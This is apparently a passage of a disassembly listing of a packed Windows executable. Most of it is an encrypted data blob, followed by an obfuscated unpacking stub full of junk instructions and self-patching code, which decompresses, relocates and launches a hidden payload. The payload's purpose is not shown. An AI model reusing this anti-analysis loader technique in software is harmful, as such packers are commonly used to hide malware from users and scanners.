822250Dh, 89620BFEh dd 0B7C87A36h, 8778CE22h, 33984F64h, 0AFBE4F89h, 0BC028CAh dd 112B8B98h, 54B38DAh, 0B206A09Ah, 3A95E1D5h, 1894D940h dd 0F8C0DC3Eh, 1148EE51h, 8A84895h, 74EC7230h, 42E7FACCh dd 8FC66339h, 0A5426426h, 0C0B7637h, 796CD64h, 19026307h dd 4699BBD0h, 47CEA94Dh, 0BA670D4Ch, 0FC6FB553h, 58EE2C43h dd 246E1147h, 48740745h, 0B14E783Ah, 0C2A8D1DEh, 0F2024AC6h dd 9ACA69C4h, 344CDD5Ah, 0F9E411Fh, 41B0CE9Eh, 4B2A3Ch dd 0EA56593Fh, 2EEEE741h, 0EBB61636h, 0B7A9BAEBh, 131E3F80h dd 0E6FA36DBh, 0B85594D0h, 6D65D6C8h, 878320FAh, 88FE4D0h dd 3CC7603Dh, 39A15C6h, 382BA50Ch, 0EBE83F7Eh, 65B8F32Ch dd 4D7D5B21h, 0E11DBA70h, 0B39E7ADh, 52AFEDAEh, 246E0204h dd 31606DE2h, 2AF418DEh, 7D0869A3h, 4F457CE5h, 445B4EFh dd 65ED5B6Eh, 36480DA1h, 0D026F3F4h, 1A3C8DBFh, 0E6FC0CE8h dd 0FBDEA1F9h, 0E16286E2h, 0E299619h, 4C3DB592h, 0CB84DA9Ch dd 2F1AF0FBh, 65C415E1h, 0D28E9850h, 0DE70ACF7h, 5A3CC55Ah dd 4575E39Ch, 0C08B4BB8h, 0E79D7239h, 9505A054h, 58C114E7h dd 0A3148943h, 2F813CC5h, 2E631802h, 0EC4E9C28h, 5700193Dh dd 202E71C9h, 0ACC4E2D4h, 24A6405Ch, 0E06BC1F7h, 43F67440h dd 45E52F98h, 0D40D6FB3h, 0ECC9FFC9h, 35859704h, 69BA8BD3h dd 0CCF7A9B1h, 3B37600Fh, 0ED38D39Bh, 68623551h, 71A56C47h dd 2BC1540Eh, 1F4D25D1h, 0BADDF179h, 0FB586DAEh, 836E3594h dd 0D71ADDAEh, 80ED8733h, 773A9647h, 5FE89763h, 5BA5C182h dd 0E5C6BB70h, 0B6E8E37Ah, 9438F6EDh, 57798052h, 0E49410D5h dd 9D691407h, 0C14B4B62h, 330C4CE7h, 55C5E73Ah, 0BCC443C0h dd 0EA61BC88h, 8A53CB33h, 456D6B56h, 7270F380h, 87FA2A25h dd 98D4F9CEh, 286029EFh, 9BCD37D9h, 0C7E6F3B9h, 59A0751Fh dd 98CB2A6h, 0D993F35Eh, 80431CFh, 3EF53201h, 18285C10h dd 0BE0483C0h, 9B05B5F5h, 42B37922h, 5295F10Fh, 2269718Dh dd 6A8DA6AEh, 25504BF5h, 0CA3ACACFh, 2C33B2A5h, 0B90BCF82h dd 905F5711h, 0D55901DAh, 58A513E2h, 0D0857684h, 0DDFE651Bh dd 85A43306h, 0F775A90Ah, 0E61BF066h, 719AF204h, 0CF3A2EB2h dd 0A07DFA41h, 0FA84398Eh, 0D0C2374Bh, 397D8005h, 4548D156h dd 0DDECF68Bh, 0C14EF087h, 0F81C859Dh, 3A69F364h, 0BD243320h dd 462253ACh, 0CF79BE08h, 0E272D410h, 8F7CFE08h, 2C7FBD52h dd 0CE338884h, 0C54DE91Eh, 1B270861h, 0E0680363h, 3AE695DEh dd 6B73B50Bh, 2FFAE72Fh, 0BF5E2F9Bh, 472F3E07h, 8AB55457h dd 1F405E4Eh, 7791141Dh, 38EC9A9h, 0B0A30AA2h, 9B72C094h dd 0B8E43F6Bh, 9C41DA96h, 9883036Fh, 382BAC6Eh, 0C865145Fh dd 499376CFh, 215076D2h, 0C365FC09h, 0B9ACF1A1h, 0C7041585h dd 37C24DE7h, 26FD68A1h, 0CCE1DBF4h, 57A165D3h, 739D1656h dd 46F3C6FEh, 0CC65ACEh, 2CBB05E1h, 5ADF53B9h, 0BC469452h dd 8AD4DE7Ch, 0FDB14E5Fh, 1DA181C3h, 0BD99B086h, 0C3DA9A3h dd 8C401083h, 12A2F03Bh, 0D8322C0Bh, 0A45580B4h, 459614CDh dd 0D734E486h, 0F5813A2Fh, 0E503F72h, 53AF373Ah, 6BDC9CAh dd 0EF7BA662h, 7125D503h, 4AEA503Eh, 0B9597BBFh, 0F60656DCh dd 0D7894A34h, 0A2A755Dh, 75855C75h, 6D1704F5h, 43AADCF1h dd 13C09968h, 0CB4E34DBh, 513CC87Dh, 0E6B2D64h, 850E51FBh dd 7DF06A9Fh, 0C2CD965Ch, 8193CB64h, 31F3C812h, 1119E301h dd 11DEB4CCh, 99D5B125h, 7539E503h, 0CDF4B094h, 0F43C1E1h dd 34F1C105h, 0C611D6FEh, 0F2099669h, 146A31C7h, 69BB1C95h dd 1DF3397Ah, 66FCFE81h, 6555B9DCh, 65AA2069h, 0CB3C28DCh dd 2F56B5BFh, 883112CAh, 79E78998h, 8FAECD5Dh, 0F00BB8BDh dd 0A6CB3328h, 158936Ah, 0C5DD9B5Ch, 0E4EEAAh, 596DFCADh dd 0E8F4A383h, 9A571B7Ch, 7FC37AA1h, 0A2C9F346h, 189C3412h dd 94C7F472h, 4FF16F6Eh, 2A84B1h, 0F1EC1A6Ah, 0FE8DF33Dh dd 331CEA3Ch, 0DFE45B2Fh, 0ACC3127Dh, 0FF83FFFFh, 3000008Fh dd 4060002h, 5A000000h, 920C437h, 5E80C2B7h, 29B54EBh dd 1878897Ah, 4E69C444h, 3B934657h, 0B4B25133h, 22BF3C1Fh dd 221D38E7h, 86100F43h, 5CA43DBDh, 8B00049Bh, 0DCCC127Ah dd 8C44E864h, 4D60B9BCh, 973A72F7h, 85DD93A2h, 6891222Ah dd 3F324234h, 7A753BF8h, 48612C56h, 8A7A45DEh, 920CFFA3h dd 0B0CA56E9h, 9C6A9AB0h, 0B4C7C81Dh, 87672985h, 497F4907h dd 0C632D06Ch, 83D8190h, 6A0156FDh, 39079425h, 6300F166h dd 6FCD1115h, 2F38B9B9h, 0A224BE85h, 0C13BF3B2h, 0E24358A6h dd 0A95B137Eh, 0E335FE58h, 7194495Ah, 39DFF1D8h, 0B039B769h dd 0EF680AE7h, 36AD0BF5h, 20D5DCABh, 1E36F61h, 1ECEDBDCh dd 310F534Ah, 0BA2336D1h, 4CB6ED5Ch, 6A3D64F3h, 475E76Eh dd 1012782h, 2DB6AF5Bh, 0DCA56576h, 8B4F2D28h, 0D791E4CAh dd 28317108h, 8162C025h, 7B08C7E5h, 13178D38h, 2BDE9BF0h dd 0A28BC853h, 0B99940FAh, 0F9F92175h, 641DC90h, 15C650F0h dd 0AF81B05Ch, 82026410h, 5A2C81F6h, 0D6B9C75Ah, 0BBAAD4E9h dd 0D54C3598h, 618AA760h, 939CC21Eh, 0FCC2CC26h, 308396D6h dd 0EA9CF183h, 57768BFFh, 16FB4591h, 59824B8Fh, 0A730659h dd 73A54618h, 0C19385BCh, 30B880E0h, 9CA62452h, 96404B35h dd 9DE8B57h, 5BCA706Dh, 0D5F8C9E8h, 18B2FF09h, 394F80D8h dd 0ED06A4B6h, 7D14F18Eh, 0B833CA78h, 39486968h, 80111D45h dd 0AF7140E2h, 0DE53F22Ch, 5CFB1759h, 0C8C3D0D0h, 3FC9E486h dd 86D11180h, 0E922C8B6h, 60BFAE50h, 0EF086913h, 0C351B2FAh dd 6EE7E407h, 740AC814h, 834EFDE3h, 272420BDh, 0F54B2C4Bh dd 0E21B6C8Eh, 874D5C0Ah, 606C3F06h, 0C311C79Fh, 2BB6AEB1h dd 57D2AA92h, 0AB43437Bh, 1BB802D5h, 0B55AC37Dh, 6B49D898h dd 0C5F92671h, 8DF1AB6Eh, 1FA74C99h, 8236E023h, 0A904BF58h dd 0C0E98DF7h, 812FA989h, 0FE2470B7h, 0D82431B4h, 975B6D33h dd 48A32A92h, 0CC0E241Eh dd 1016B760h, 6C36C179h, 0AE0D4B53h, 0D959B212h, 0A60EAB30h dd 1D6EB15Eh, 0CFA6680Dh, 0AF1888BDh, 5CCE3A34h, 5A290905h dd 564F96A5h, 5CBA9C6Dh, 0A9643C87h, 0E4AAEA7Bh, 2DBA927Ch dd 6FAA421Ah, 98869C52h, 0E17FB5A4h, 0FEAF825Ah, 3172680Dh dd 9E2510ECh, 4C0D3763h, 68F27812h, 7B239CA5h, 0DA79DF59h dd 47480758h, 0C272DC32h, 0F9F8FAA6h, 34660748h, 9E6FEDE9h dd 9445C35Bh, 179654C9h, 0E83739FAh, 5384234Eh, 0BEE13E49h dd 0CD08DADAh, 5F57F87Dh, 0DB4D6150h, 0D4FB16F4h, 96B36FE0h dd 5B5ECACCh, 0C88687BBh, 4547760Dh, 5274338Ah, 7D4EF443h dd 3E16BDADh, 0BE0AD77Ah, 8D861084h, 1B966AFFh, 0E1D5E42Fh dd 0BC22E42Ch, 5C3EBF0Eh, 0A28EE6A7h, 0F8FE8E2Ah, 57F760A0h dd 463D1854h, 14E288BCh, 0B954844Fh, 0F9AD0650h, 0A1E6A0F9h dd 3DE42FAFh, 0B6464669h, 489A0627h, 7DF91EC6h, 228218DEh dd 572AE799h, 16B91A39h, 48294F56h, 0A02A8F58h, 0CDC784B0h dd 97409DDBh, 0C9B1ED52h, 18261A4Dh, 0D47BB6BDh, 5EF3DF1Dh dd 0A65C7CADh, 0BA108A52h, 3682AB65h, 28B00AD5h, 0A27D6D42h dd 170CB14Bh, 0D98E8BAh, 7E0360Fh, 67827226h, 6C0F138Ch dd 0F327E5A9h, 5D97DDB9h, 69CC6442h, 0CCA5905Fh, 13A2BC9Ch dd 0A745E411h, 0A388EF91h, 0A3DB0273h, 14D3FCF0h, 2ABAE192h dd 0B064A821h, 263F3E6Dh, 0F616B4B5h, 0F0E478B6h, 0E18033E3h dd 0A9ED7AF4h, 0D8779C11h, 193F6F8Ch, 156AC77Bh, 87337AEh dd 9F8409ABh, 68ADC3D8h, 4258C5ACh, 419186DCh, 553F63DFh dd 3F22DFC5h, 0D57CAB35h, 0C941386Bh, 57BA93Fh, 0B53531D3h dd 0D4D5A2E1h, 8D0DD5EBh, 41B5F7F8h, 947C89B2h, 0A8324E77h dd 0FFFFAB37h, 69A768DEh, 27000h, 391h, 7F6A0000h, 7F7F0777h dd 0AFEE875Ah, 0A48AE29Bh, 5B45EFC9h, 0F2A6CF30h, 0D5266659h dd 0FA9C712Bh, 0A005E517h, 65488DF9h, 0B2721D69h, 1F82B5A5h dd 883CBE86h, 894DA18Dh, 47175212h, 0E7362F78h, 92F8BB09h dd 23E847C0h, 3065D1FCh, 0E5A2C79Ch, 4D551567h, 91A827C6h dd 94E9EBCCh, 0FCF199E4h, 0F48CE57Dh, 0FF2B4A5Fh, 72511A2Eh dd 0AA1D9BCh, 0B301387Dh, 0A77E5CCBh, 0FB8BC3B2h, 1703C079h dd 0B020D4A8h, 0F09815E7h, 0F3F7E568h, 0F30E7EFFh, 0EA93534Fh dd 1CA72F8Ah, 927A172h, 0CA28C317h, 3EE036B0h, 0C63B666Ah dd 1C7A0584h, 404DFC24h, 3B1EF017h, 7F9B110Ch, 37AF606Dh dd 0A068D2Fh, 0AB1087B3h, 532FA759h, 5718CBB7h, 89CCA877h dd 6796C52Bh, 47ED2B56h, 6BBC9B15h, 416618E5h, 26287F13h dd 0D9DC8B32h, 7F6E78A7h, 1DBDC227h, 0C5E828F7h, 0A7BBF34Eh dd 1960B435h, 32324826h, 9D6B6B54h, 34AD18A4h, 59284970h dd 10E70CAh, 0B1355E5Fh, 2B417F53h, 0DA41BE6Dh, 0F6E2CF82h dd 0C9EEEA1Fh, 6912FA2Ah, 0E70C2C71h, 773F903Fh, 0CEF8B9F0h dd 489A6FCh, 9CB95B45h, 9A1595D8h, 0F45F2A9Dh, 777C0C3Bh dd 554EA23Ah, 32AB72FAh, 0AC9C44A3h, 467E15BBh, 0C84DC1FAh dd 4235B3B4h, 0E2024C88h, 3E6BC18Eh, 58A8CF24h, 3BDF706h dd 84F06D47h, 0D79D5D53h, 0EF4C27FCh, 60914740h, 4D478BD2h dd 0DC5DC6B1h, 559DCBCAh, 0DC202843h, 0F06A5CC3h, 0FEEC7EE4h dd 62462986h, 0CB83BD74h, 127F1919h, 153AA288h, 4FAF5707h dd 9ABEFB8h, 24E3001Dh, 736A7677h, 288F0B31h, 840D97B6h dd 18AF436Ah, 51DC06D6h, 5843C1C2h, 36FA5A2Dh, 90C77A49h dd 0DCAA0354h, 0CBC60512h, 3B4BC03Bh, 0A8387C22h, 72BD2A15h dd 0E798C381h, 7D1C3D51h, 0E3FA72E8h, 0E11A55DAh, 0B7AA076Eh dd 0E05F3C8Bh, 0B779FCE3h, 4C7A7FCAh, 0EBCABAF9h, 9BC7B2C8h dd 0A0523EF2h, 3AA92FC6h, 1F0DD5E3h, 0CE7A446Eh, 30E7287Ch dd 3754A69Bh, 890A30BFh, 9AB52095h, 64A61576h, 0E4234C03h dd 0AE94EE3Bh, 0FA86C76h, 374EB52Bh, 0D22A606Dh, 1E437DF2h dd 0D6144AE8h, 3A8E0E3Fh, 2B004CBh, 0DA9D5D4h, 6B3F6BBBh dd 768C6986h, 0B739F0BAh, 0D7687277h, 37EF156Ch, 0B214FAC0h dd 208458E1h, 62C9FBB3h, 0A8D82C71h, 0F62BA1D9h, 8A15DFA1h dd 9F666EB2h, 8B17F6E8h, 0A49251F1h, 6AC4FBF0h, 0DA7CE001h dd 0A556C8BAh, 0B8D77CF6h, 439419FFh, 78344AC7h, 79AA969Dh dd 77C3699Ch, 0B9AB3EE9h, 838A294Bh, 78AF9749h, 0B49070Bh dd 0BB538F97h, 0AF5A6553h, 0A775EFB5h, 0ADA39735h, 72B37BF8h dd 12684E91h, 1C24B299h, 0DB173247h, 0D26294D9h, 0D23E2669h dd 6B49E15h, 2610EB51h, 36BA7202h, 6984F818h, 6302879h dd 0C610AFAh, 0D0B25C3Fh, 40898D30h, 0FC4C9C09h, 47135E73h dd 0DC4F3B83h, 2025712Eh, 0EEBF6E82h, 0AA8029C1h, 0E5F07808h dd 54DC0E82h, 0F3C308C1h, 0D0643022h, 5FF23376h, 0FE89DA91h dd 1A802C56h, 20734FD2h, 0B7681Eh, 0BF54F52Eh, 0B0AEF31Ah dd 0BB20F1ADh, 0E622F252h, 0E3D08934h, 3619EC89h, 0FCB28C22h dd 77C99C8h, 7F9D01B1h, 24C3EBC1h, 84EE5890h, 258F11FCh dd 0B6BE8C9h, 0E05F51B9h, 6A391703h, 4291CF39h, 39A5B750h dd 0D393FFFh, 0 dd 40000000h, 0 dd 0C1CD800h, 400h, 0 dd 43765300h, 4282AE00h, 42816800h, 42151800h, 2 dup(40000000h) dd 0 dd 42800000h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_437085 proc near ; CODE XREF: .vty:0043764Ej startj jmp sub_4107B2 sub_437085 endp ; --------------------------------------------------------------------------- dw 5B00h ; --------------------------------------------------------------------------- lea ebx, [ebx-3Ah] mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop jmp short loc_4370C5 ; --------------------------------------------------------------------------- lea ebx, [ebx-3Ah] mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Bh rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4370C5: ; CODE XREF: .vty:0043709Bj add [ebx], ebx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_4370FD ; --------------------------------------------------------------------------- dw 1B01h align 10h pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4370FD: ; CODE XREF: .vty:004370D4j mov edx, [ebx] mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_437135 ; --------------------------------------------------------------------------- mov edx, [ebx] mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_437135: ; CODE XREF: .vty:0043710Cj lea esi, [ebx+14h] mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop jmp short loc_43716E ; --------------------------------------------------------------------------- lea esi, [ebx+14h] mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Bh rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_43716E: ; CODE XREF: .vty:00437144j push 8 mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_4371A6 ; --------------------------------------------------------------------------- push 8 mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4371A6: ; CODE XREF: .vty:0043717Dj pop ecx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop nop jmp short loc_4371DD ; --------------------------------------------------------------------------- pop ecx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 9 rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4371DD: ; CODE XREF: .vty:004371B5j ; .vty:loc_437283j add [esi], edx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_437215 ; --------------------------------------------------------------------------- add [esi], edx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_437215: ; CODE XREF: .vty:004371ECj lodsd mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop nop jmp short loc_43724C ; --------------------------------------------------------------------------- lodsd mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 9 rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_43724C: ; CODE XREF: .vty:00437224j dec ecx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop nop jmp short loc_437283 ; --------------------------------------------------------------------------- dec ecx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 9 rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_437283: ; CODE XREF: .vty:0043725Bj jnz loc_4371DD mov ebp, eax mov byte ptr [esi], 0E9h mov eax, [ebx+0Ch] mov [esi+1], eax mov eax, [ebp+8] push 4 mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_4372CF ; --------------------------------------------------------------------------- push 4 mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4372CF: ; CODE XREF: .vty:004372A6j push 1000h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop jmp short loc_43730A ; --------------------------------------------------------------------------- push 1000h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Dh rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_43730A: ; CODE XREF: .vty:004372DEj push 0F000000h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop jmp short loc_437345 ; --------------------------------------------------------------------------- push 0F000000h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Dh rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_437345: ; CODE XREF: .vty:00437319j push 0 mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_43737D ; --------------------------------------------------------------------------- push 0 mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_43737D: ; CODE XREF: .vty:00437354j call eax mov edx, eax mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_4373B7 ; --------------------------------------------------------------------------- mov edx, eax mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4373B7: ; CODE XREF: .vty:0043738Ej mov edi, edx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_4373EF ; --------------------------------------------------------------------------- mov edi, edx mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4373EF: ; CODE XREF: .vty:004373C6j mov eax, 90h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop jmp short loc_43742A ; --------------------------------------------------------------------------- mov eax, 90h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Dh rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_43742A: ; CODE XREF: .vty:004373FEj mov ecx, 0EFFFFFFh mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop jmp short loc_437465 ; --------------------------------------------------------------------------- mov ecx, 0EFFFFFFh mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Dh rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_437465: ; CODE XREF: .vty:00437439j rep stosb mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop jmp short loc_43749D ; --------------------------------------------------------------------------- rep stosb mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Ah rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_43749D: ; CODE XREF: .vty:00437474j mov eax, 0C3h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop jmp short loc_4374D8 ; --------------------------------------------------------------------------- mov eax, 0C3h mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 0Dh rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_4374D8: ; CODE XREF: .vty:004374ACj stosb mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi nop nop nop nop nop nop jmp short loc_43750F ; --------------------------------------------------------------------------- stosb mov eax, eax mov ebx, ebx mov ecx, ecx mov esi, esi pushfw pusha mov esi, [esp+22h] lea edi, [esi-5] add esi, 0Ch mov ecx, 9 rep movsb sub dword ptr [esp+22h], 5 popa popfw retn ; --------------------------------------------------------------------------- loc_43750F: ; CODE XREF: .vty:004374E7j call edx push 4 push 1000h push dword ptr [ebx+8] push ecx call dword ptr [ebp+8] mov edx, eax mov esi, [ebx+18h] jmp loc_4375C5 ; --------------------------------------------------------------------------- loc_437529: ; CODE XREF: .vty:004375C8j mov edi, eax add edi, [ebx] lodsd mov ecx, eax btr edi, 1Fh jnb short loc_43753D rep movsd jmp loc_4375C5 ; --------------------------------------------------------------------------- loc_43753D: ; CODE XREF: .vty:00437534j pusha push edx push esi push edi call dword ptr [ebx+14h] mov [esp+1Ch], eax popa pusha mov ebp, edi sub edi, [ebx] mov ebx, edi lea edi, [eax-5] xor esi, esi push 0FFFFFFFCh pop edx jmp short loc_4375BE ; --------------------------------------------------------------------------- loc_43755A: ; CODE XREF: .vty:004375C0j mov al, [esi+ebp] and al, 0FEh cmp al, 0E8h jz short loc_437570 mov eax, [esi+ebp] and ah, 0F0h cmp ax, 800Fh jnz short loc_4375BD inc esi loc_437570: ; CODE XREF: .vty:00437561j mov eax, esi sub eax, edx xor al, 3 mov edx, esi mov cl, [esi+ebp+4] inc ecx shr cl, 1 jnz short loc_4375BD push edi inc esi mov edi, [esi+ebp] loc_437586: ; CODE XREF: .vty:004375AAj sub edi, ebx sub edi, esi mov [esi+ebp], edi cmp eax, 3 ja short loc_4375AC mov ecx, eax shl ecx, 3 mov edi, 0FFh shl edi, cl xor edi, [esi+ebp] lea ecx, [eax+esi] mov cl, [ecx+ebp] inc ecx shr cl, 1 jz short loc_437586 loc_4375AC: ; CODE XREF: .vty:00437590j add esi, 3 mov cl, [esi+ebp] shr cl, 1 setnb ch dec ch mov [esi+ebp], ch pop edi loc_4375BD: ; CODE XREF: .vty:0043756Dj ; .vty:0043757Fj inc esi loc_4375BE: ; CODE XREF: .vty:00437558j cmp esi, edi jl short loc_43755A popa add esi, ecx loc_4375C5: ; CODE XREF: .vty:00437524j ; .vty:00437538j lodsd test eax, eax jnz loc_437529 push 8000h push eax push edx call dword ptr [ebp+0Ch] lea eax, [ebx+0Ch] push eax push 4 push 1 push dword ptr [ebx] call dword ptr [ebp+10h] mov eax, [ebx+8] sub eax, [ebx+4] push 4 push 1000h push eax push 0 call dword ptr [ebp+8] pusha push eax push dword ptr [ebx+1Ch] push dword ptr [ebx] call dword ptr [ebx+14h] popa push 8000h push 0 push eax call dword ptr [ebp+0Ch] lea eax, [ebx+0Ch] push eax push dword ptr [ebx+0Ch] push 1 push dword ptr [ebx] call dword ptr [ebp+10h] mov esi, [ebx+20h] jmp short loc_437648 ; --------------------------------------------------------------------------- loc_437621: ; CODE XREF: .vty:0043764Bj add eax, [ebx] push eax call dword ptr [ebp+0] mov edi, [esi] add edi, [ebx] jmp short loc_43763F ; --------------------------------------------------------------------------- loc_43762D: ; CODE XREF: .vty:00437643j btr ecx, 1Fh jb short loc_437637 add ecx, [ebx] inc ecx inc ecx loc_437637: ; CODE XREF: .vty:00437631j push eax push ecx push eax call dword ptr [ebp+4] stosd pop eax loc_43763F: ; CODE XREF: .vty:0043762Bj mov ecx, [edi] test ecx, ecx jnz short loc_43762D add esi, 10h loc_437648: ; CODE XREF: .vty:0043761Fj lodsd test eax, eax jnz short loc_437621 popa jmp sub_437085 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h xor eax, eax inc eax mov edi, [ebp+10h] mov [ebp-14h], eax mov [ebp-1Ch], eax mov [ebp-18h], eax mov [ebp-28h], eax mov eax, 400h xor edx, edx mov ecx, 30736h rep stosd mov eax, [ebp+0Ch] push 5 mov [ebp-8], eax mov [ebp-10h], edx mov [ebp-1], dl mov [ebp-0Ch], edx mov [ebp+0Ch], edx or eax, 0FFFFFFFFh pop ecx loc_437691: ; CODE XREF: .vty:004376A6j mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi inc dword ptr [ebp-8] dec ecx mov [ebp+0Ch], edx jnz short loc_437691 loc_4376A8: ; CODE XREF: .vty:0043783Aj ; .vty:00437849j ... mov esi, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ebp+10h] and esi, 3 shl ecx, 4 add ecx, esi cmp eax, 1000000h lea edi, [edx+ecx*4] jnb short loc_4376DA mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4376DA: ; CODE XREF: .vty:004376C1j mov ecx, [edi] mov ebx, eax shr ebx, 0Bh imul ebx, ecx cmp [ebp+0Ch], ebx jnb loc_437857 mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx movzx ecx, byte ptr [ebp-1] imul ecx, 0C00h xor edx, edx mov [edi], esi mov esi, [ebp+10h] inc edx cmp dword ptr [ebp-0Ch], 7 lea ecx, [esi+ecx+1CD8h] mov eax, ebx mov [ebp-20h], ecx jl loc_4377C0 mov ecx, [ebp-10h] sub ecx, [ebp-14h] mov esi, [ebp+8] movzx ecx, byte ptr [esi+ecx] mov [ebp-24h], ecx loc_437731: ; CODE XREF: .vty:004377B8j shl dword ptr [ebp-24h], 1 mov esi, [ebp-24h] mov edi, [ebp-20h] and esi, 100h cmp eax, 1000000h lea ecx, [edx+esi] lea ecx, [edi+ecx*4+400h] mov [ebp-2Ch], ecx jnb short loc_43776B mov ebx, [ebp-8] mov edi, [ebp+0Ch] movzx ebx, byte ptr [ebx] shl edi, 8 or edi, ebx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edi loc_43776B: ; CODE XREF: .vty:00437752j mov ecx, [ecx] mov edi, 